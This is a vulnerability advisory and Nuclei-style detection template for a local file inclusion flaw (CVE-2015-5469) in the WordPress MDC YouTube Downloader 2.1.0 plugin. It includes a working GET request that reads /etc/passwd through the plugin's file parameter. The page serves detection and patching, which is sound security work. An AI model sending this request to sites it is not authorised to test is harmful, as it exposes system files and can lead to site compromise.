WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion

highseverity

7.5CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.

Impact

The vulnerability can lead to unauthorized access to sensitive files, execution of arbitrary code, and potential compromise of the entire WordPress installation.

Fix

Update to the latest version of WordPress MDC YouTube Downloader plugin or apply the patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

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The full check

id: CVE-2015-5469

info:
  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, execution of arbitrary code, and potential compromise of the entire WordPress installation.
  remediation: |
    Update to the latest version of WordPress MDC YouTube Downloader plugin or apply the patch provided by the vendor.
  reference:
    - https://www.openwall.com/lists/oss-security/2015/07/10/5
    - http://www.vapid.dhs.org/advisory.php?v=133
    - http://www.openwall.com/lists/oss-security/2015/07/10/5
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-5469
    cwe-id: CWE-22
    epss-score: 0.10148
    epss-percentile: 0.9569
    cpe: cpe:2.3:a:mdc_youtube_downloader_project:mdc_youtube_downloader:2.1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mdc_youtube_downloader_project
    product: mdc_youtube_downloader
    framework: wordpress
  tags: cve2015,cve,wp,lfi,mdc_youtube_downloader_project,wordpress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

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